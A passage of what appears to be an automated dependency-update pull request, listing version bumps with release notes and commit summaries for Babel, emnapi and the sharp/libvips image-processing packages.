walkfunction which doesn't provide a way to wait for traversal completion,walkAsyncallows consumers toawaitthe full traversal of the AST.Patch Changes
Does any of this look wrong? Please let us know.
βοΈ @βastrojs/telemetry (indirect, 3.3.0 β 3.3.1) Β· Repo Β· Changelog
βοΈ @βbabel/helper-validator-identifier (indirect, 7.27.1 β 7.28.5) Β· Repo Β· Changelog
Release Notes
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
π Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifierπ Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverseπ Internal
πββοΈ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βbabel/parser (indirect, 7.27.5 β 7.29.2) Β· Repo Β· Changelog
Release Notes
7.29.0
v7.29.0 (2026-01-31)
Thanks @simbahax for your first PR!
π New Feature
babel-typesbabel-standaloneπ Bug Fix
babel-parser
- #17765 fix(parser): correctly parse type assertions in
extendsclause (@nicolo-ribaudo)- #17723 [7.x backport] fix(parser): improve super type argument parsing (@JLHwung)
babel-traversebabel-plugin-transform-block-scoping,babel-traverse
- #17737 [7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (@magic-akari)
πββοΈ Performance
babel-generator,babel-runtime-corejs3
- #17642 [Babel 7] Improve generator performance (@liuxingbaoyu)
Committers: 6
- David (@simbahax)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- @magic-akari
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
π Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifierπ Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverseπ Internal
πββοΈ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.28.4
v7.28.4 (2025-09-05)
Thanks @gwillen and @mrginglymus for your first PRs!
π Internal
babel-core,babel-helper-check-duplicate-nodes,babel-traverse,babel-typesbabel-plugin-transform-regenerator
- #17455 chore: Clean up
transform-regenerator(@liuxingbaoyu)babel-core
- #17474 Switch to @jridgewell/remapping (@mrginglymus)
Committers: 5
- Babel Bot (@babel-bot)
- Bill Collins (@mrginglymus)
- Glenn Willen (@gwillen)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- @liuxingbaoyu
7.28.3
v7.28.3 (2025-08-14)
π Spec Compliance
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-static-block,babel-preset-env
- #17443 [static blocks] Do not inject new static fields after static code (@nicolo-ribaudo)
π Bug Fix
babel-parserπ Polish
babel-plugin-transform-regenerator,babel-plugin-transform-runtime
- #17363 Do not save last yield in call in temp var (@nicolo-ribaudo)
π Documentation
π Internal
π¬ Output optimization
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressionsCommitters: 5
- Babel Bot (@babel-bot)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- Jam Balaya (@JamBalaya56562)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- easrng (@easrng)
7.28.0
v7.28.0 (2025-07-02)
π New Feature
babel-node
- #17147 Support top level await in node repl (@liuxingbaoyu)
babel-typesbabel-compat-data,babel-preset-envbabel-core,babel-parserbabel-generator,babel-parserbabel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressions,babel-plugin-transform-object-rest-spread,babel-traverse,babel-typesbabel-parser,babel-traverse,babel-typesbabel-generator,babel-plugin-proposal-destructuring-private,babel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring,babel-plugin-transform-explicit-resource-management,babel-plugin-transform-react-display-name,babel-typesbabel-generator,babel-parser,babel-plugin-proposal-destructuring-private,babel-plugin-transform-block-scoping,babel-plugin-transform-object-rest-spread,babel-plugin-transform-typescript,babel-traverse,babel-typesπ Bug Fix
babel-helper-globals,babel-plugin-transform-classes,babel-traversebabel-types
- #17009 feature: TSTypeOperator: keyof (#16799) (@coderaiser)
π Internal
babel-compat-data,babel-plugin-proposal-decorators,babel-plugin-transform-async-generator-functions,babel-plugin-transform-json-modules,babel-plugin-transform-regenerator,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs3
- #17403 Update
babel-polyfillpackages (@nicolo-ribaudo)Committers: 5
- Babel Bot (@babel-bot)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
7.27.7
v7.27.7 (2025-06-26)
Thanks @arthur-mountain and @evankanderson for your first PRs!
π Spec Compliance
babel-parser,babel-plugin-transform-classesbabel-parserπ Bug Fix
babel-corebabel-typesbabel-plugin-transform-parameters
- #17352 fix: Params of
async function*should throw synchronously (@liuxingbaoyu)π Internal
babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spreadCommitters: 6
- Arthur (@arthur-mountain)
- Babel Bot (@babel-bot)
- Evan Anderson (@evankanderson)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βbabel/types (indirect, 7.27.6 β 7.29.0) Β· Repo Β· Changelog
Release Notes
7.29.0
v7.29.0 (2026-01-31)
Thanks @simbahax for your first PR!
π New Feature
babel-typesbabel-standaloneπ Bug Fix
babel-parser
- #17765 fix(parser): correctly parse type assertions in
extendsclause (@nicolo-ribaudo)- #17723 [7.x backport] fix(parser): improve super type argument parsing (@JLHwung)
babel-traversebabel-plugin-transform-block-scoping,babel-traverse
- #17737 [7.x backport] fix: Rename switch discriminant references when body creates shadowing variable (@magic-akari)
πββοΈ Performance
babel-generator,babel-runtime-corejs3
- #17642 [Babel 7] Improve generator performance (@liuxingbaoyu)
Committers: 6
- David (@simbahax)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- @magic-akari
7.28.5
v7.28.5 (2025-10-23)
Thank you @CO0Ki3, @Olexandr88, and @youthfulhps for your first PRs!
π Spec Compliance
babel-parser
- #17446 Allow
Runtime Errors for Function Call Assignment Targets(@liuxingbaoyu)babel-helper-validator-identifierπ Bug Fix
babel-plugin-proposal-destructuring-privatebabel-parserbabel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring
- #17519 fix:
restcorrectly returns plain array (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helper-member-expression-to-functions,babel-plugin-transform-block-scoping,babel-plugin-transform-optional-chaining,babel-traverse,babel-typesbabel-traverseπ Internal
πββοΈ Performance
babel-core
- #17490 Faster finding of locations in
buildCodeFrameError(@liuxingbaoyu)Committers: 8
- Babel Bot (@babel-bot)
- Byeongho Yoo (@youthfulhps)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- Hyeon Dokko (@CO0Ki3)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @Olexandr88
- @liuxingbaoyu
- fisker Cheung (@fisker)
7.28.4
v7.28.4 (2025-09-05)
Thanks @gwillen and @mrginglymus for your first PRs!
π Internal
babel-core,babel-helper-check-duplicate-nodes,babel-traverse,babel-typesbabel-plugin-transform-regenerator
- #17455 chore: Clean up
transform-regenerator(@liuxingbaoyu)babel-core
- #17474 Switch to @jridgewell/remapping (@mrginglymus)
Committers: 5
- Babel Bot (@babel-bot)
- Bill Collins (@mrginglymus)
- Glenn Willen (@gwillen)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- @liuxingbaoyu
7.28.2
v7.28.2 (2025-07-24)
Thanks @souhailaS for your first PR!
π Bug Fix
babel-types
- #17445 [babel 7] Make
operatorparam int.tsTypeOperatoroptional (@nicolo-ribaudo)babel-helpers,babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator,babel-preset-env,babel-runtime-corejs3
- #17441 fix:
regeneratorDefinecompatibility with es5 strict mode (@liuxingbaoyu)Committers: 4
- Babel Bot (@babel-bot)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- SOUHAILA SERBOUT (@souhailaS)
- @liuxingbaoyu
7.28.1
v7.28.1 (2025-07-12)
π Bug Fix
babel-plugin-transform-async-generator-functions,babel-plugin-transform-regenerator
- #17426 fix:
regeneratorcorrectly handlesthrowoutside oftry(@liuxingbaoyu)π Documentation
β©οΈ Revert
babel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressions,babel-typesCommitters: 3
- Babel Bot (@babel-bot)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- @liuxingbaoyu
7.28.0
v7.28.0 (2025-07-02)
π New Feature
babel-node
- #17147 Support top level await in node repl (@liuxingbaoyu)
babel-typesbabel-compat-data,babel-preset-envbabel-core,babel-parserbabel-generator,babel-parserbabel-plugin-proposal-destructuring-private,babel-plugin-proposal-do-expressions,babel-plugin-transform-object-rest-spread,babel-traverse,babel-typesbabel-parser,babel-traverse,babel-typesbabel-generator,babel-plugin-proposal-destructuring-private,babel-plugin-proposal-discard-binding,babel-plugin-transform-destructuring,babel-plugin-transform-explicit-resource-management,babel-plugin-transform-react-display-name,babel-typesbabel-generator,babel-parser,babel-plugin-proposal-destructuring-private,babel-plugin-transform-block-scoping,babel-plugin-transform-object-rest-spread,babel-plugin-transform-typescript,babel-traverse,babel-typesπ Bug Fix
babel-helper-globals,babel-plugin-transform-classes,babel-traversebabel-types
- #17009 feature: TSTypeOperator: keyof (#16799) (@coderaiser)
π Internal
babel-compat-data,babel-plugin-proposal-decorators,babel-plugin-transform-async-generator-functions,babel-plugin-transform-json-modules,babel-plugin-transform-regenerator,babel-plugin-transform-runtime,babel-preset-env,babel-runtime-corejs3
- #17403 Update
babel-polyfillpackages (@nicolo-ribaudo)Committers: 5
- Babel Bot (@babel-bot)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
- coderaiser (@coderaiser)
7.27.7
v7.27.7 (2025-06-26)
Thanks @arthur-mountain and @evankanderson for your first PRs!
π Spec Compliance
babel-parser,babel-plugin-transform-classesbabel-parserπ Bug Fix
babel-corebabel-typesbabel-plugin-transform-parameters
- #17352 fix: Params of
async function*should throw synchronously (@liuxingbaoyu)π Internal
babel-plugin-transform-destructuring,babel-plugin-transform-object-rest-spreadCommitters: 6
- Arthur (@arthur-mountain)
- Babel Bot (@babel-bot)
- Evan Anderson (@evankanderson)
- HuΓ‘ng JΓΉnliΓ ng (@JLHwung)
- NicolΓ² Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βemnapi/runtime (indirect, 1.4.3 β 1.10.0) Β· Repo
Release Notes
1.10.0
What's Changed
- fix: early update wasm memory for views (https://github.com/hardfist/emnapi-shared-memory-grow-repro)
- fix!:
napi_adjust_external_memoryno longer grow wasm memory- fix: add missing
from64wrap- fix: coalesce tsfn (js version) send message
- ci: restructure CI workflows
- ci: prebuilt liraries using llvm 22
Thanks @hardfist
Full Changelog: v1.9.2...v1.10.0
1.9.2
What's Changed
- fix: allow maximum memory 4GB by @toyobayashi in #205
Full Changelog: v1.9.1...v1.9.2
1.9.1
fix for emscripten 5.0.3
emscripten-core/emscripten@3051725Full Changelog: v1.9.0...v1.9.1
1.9.0
What's Changed
- fix data race and use-after-free in napi_threadsafe_function by @toyobayashi in #199
- fix tsfn not work in JS based async_work workers
- fix pthread_create not work in JS based async_work workers
- emnapi_basic[-mt].a includes libuv symbols now
- refactor: dispatch async work queue in shared memory by @toyobayashi in #200
- Avoids deadlock when main thread block on waiting queued async work starting. Completed work can not be dispatched to main thread that cause no new worker available, then queued work never start.
- wasm32-wasip1-threads target spawn async worker in JS will use pthread_create, no longer maintain a separate worker pool.
- rename node_api_create_object_with_properties by @toyobayashi in #193
- fix: execute tsfn finalizer after queue drains when aborted
- feat: add required config hint in package entry
const { requiredConfig } = require('emnapi') console.log(requiredConfig.clang.wasmld)[ '--import-memory', '--shared-memory', '--export-table', '--export=malloc', '--export=free', '--export=napi_register_wasm_v1', '--export-if-defined=node_api_module_get_api_version_v1', '--export=emnapi_thread_crashed', '--export-if-defined=emnapi_async_worker_create', '--export-if-defined=emnapi_async_worker_init' ]Full Changelog: v1.8.1...v1.9.0
1.8.1
What's Changed
- feat: add support for Float16Array by @toyobayashi in #190
Full Changelog: v1.8.0...v1.8.1
1.8.0
What's Changed
- feat: add node_api_set_prototype by @toyobayashi in #188
Full Changelog: v1.7.1...v1.8.0
1.7.1
What's Changed
- move Node-API version detection by @toyobayashi in #182
- feat: support SharedArrayBuffer in napi_create_dataview by @toyobayashi in #183
Full Changelog: v1.7.0...v1.7.1
1.7.0
What's Changed
- feat: add napi_create_object_with_properties method by @toyobayashi in #181
Full Changelog: v1.6.0...v1.7.0
1.6.0
What's Changed
- feat: added SharedArrayBuffer api by @toyobayashi in #171
- feat: make napi_delete_reference use node_api_basic_env by @toyobayashi in #170
- ci: migrate to npm trusted publishing by @toyobayashi in #168
Full Changelog: v1.5.0...v1.6.0
1.5.0
What's Changed
Prebuilt libraries are built by LLVM clang 20.
- fix: env undefined after emitting beforeExit event by @toyobayashi in #162
- fix(wasi): avoid deadlock caused by child thread abort when the main thread is in
Atomics.waitand allow blocking calls on browser main thread (requires wasi-sdk 26+ and--export=emnapi_thread_crashed) by @toyobayashi in #163- build: backport emscripten parse tools changes to v1 by @toyobayashi in #165
Full Changelog: v1.4.5...v1.5.0
1.4.5
What's Changed
- fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)
Full Changelog: v1.4.4...v1.4.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 47 commits:
1.10.0fix: free queue node and set async_pending flag before finalizefix: tsfn use after freeci: llvm 22fix: coalesce tsfn send message (#210)test: fix async_progress_worker test (#209)ci: restructure CI workflows (#208)fix: add missing `from64` wrapfix!: `napi_adjust_external_memory` no longer grow wasm memory (#207)fix: early update wasm memory for views (#206)ci: manual release1.9.2[Backport] fix: allow maximum memory 4GB (#205)1.9.1fix for emscripten 5.0.31.9.0feat: add required config hint in package entryfix: execute tsfn finalizer after queue drains when aborted (nodejs/node#61956)refactor: dispatch async work queue in shared memory (#200)[Backport] fix data race and use-after-free in napi_threadsafe_function (#199)feat!: fix `node_api_create_object_with_properties` name (#193)refactor: use Node-API in comments (#194)1.8.1[Backport] feat: add support for Float16Array (#191)1.8.0[Backport] feat: add node_api_set_prototype (#189)1.7.1feat: support SharedArrayBuffer in napi_create_dataview (#183)move Node-API version detection (#182)1.7.0[Backport] feat: add napi_create_object_with_properties method (#181)ci: fix version retrieval1.6.0feat: make napi_delete_reference use node_api_basic_env (#170)[Backport] feat: added SharedArrayBuffer api (#171)ci: migrate to npm trusted publishing (#168)fix cifix ci1.5.0[Backport] build: backport emscripten parse tools changes to v1 (#165)fix: signature mismatch[Backport] fix(wasi): avoid deadlock caused by child thread abort when the main thread is in `Atomics.wait` (#163)[Backport] fix: env undefined after emitting beforeExit event (#162)1.4.5fix(wasm32-wasip1-threads): process never exit if trap in threads (#156)1.4.4fix: `worker.onerror` may receive an `Event`
βοΈ @βimg/sharp-darwin-arm64 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-darwin-x64 (indirect, 0.33.5 β 0.34.5) Β· Repo
Release Notes
0.34.5
Upgrade to libvips v8.17.3 for upstream bug fixes.
Add experimental support for prebuilt Linux RISC-V 64-bit binaries.
Support building from source with npm v12+, deprecate
--build-from-sourceflag.
#4458Improve error messaging when only warnings issued.
#4465Simplify ICC processing when retaining input profiles.
#4468
0.34.4
Upgrade to libvips v8.17.2 for upstream bug fixes.
Ensure TIFF
subifdand OpenSlidelevelinput options are respected (regression in 0.34.3).Ensure
autoOrientoccurs before non-90 angle rotation.
#4425Ensure
autoOrientremoves existing metadata after shrink-on-load.
#4431TypeScript: Ensure
KernelEnumincludeslinear.
#4441
@BayanBennettEnsure
unlimitedflag is passed upstream when reading TIFF images.
#4446Support Electron memory cage when reading XMP metadata (regression in 0.34.3).
#4451
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ @βimg/sharp-libvips-darwin-arm64 (indirect, 1.0.4 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-libvips-darwin-x64 (indirect, 1.0.4 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-libvips-linux-arm (indirect, 1.0.5 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-libvips-linux-arm64 (indirect, 1.0.4 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v1.2.4Prerelease v1.2.4-rc.0Upgrade to libvips v8.17.3Bump dep: glib (#299)Bump dep: rsvg (#298)aom: patch to allow use of nasm v3 (as now provided by homebrew)Bump deps: archive, xml2CI: Update macOS to 15 (Sequoia)mozjpeg: temporarily build from latest commitBump dep: harfbuzzBump deps: expat, harfbuzz, tiff (#297)
βοΈ @βimg/sharp-libvips-linux-s390x (indirect, 1.0.4 β 1.2.4) Β· Repo
Release Notes
1.2.4
Dependency Version aom 3.13.1 archive 3.8.2 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.3 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.1 harfbuzz 12.1.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 0826579 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.2 spng 0.7.4 tiff 4.7.1 vips 8.17.3 webp 1.6.0 xml2 2.15.1 zlib-ng 2.2.5
1.2.3
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.2 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.15.0 zlib-ng 2.2.5
1.2.2
Dependency Version aom 3.13.1 archive 3.8.1 cairo 1.18.4 cgif 0.5.0 exif 0.6.25 expat 2.7.1 ffi 3.5.2 fontconfig 2.17.1 freetype 2.14.1 fribidi 1.0.16 glib 2.86.0 harfbuzz 11.5.0 heif 1.20.2 hwy 1.3.0 imagequant 2.4.1 lcms 2.17 mozjpeg 4.1.5 pango 1.57.0 pixman 0.46.4 png 1.6.50 proxy-libintl 0.5 rsvg 2.61.1 spng 0.7.4 tiff 4.7.0 vips 8.17.2 webp 1.6.0 xml2 2.14.6 zlib-ng 2.2.5
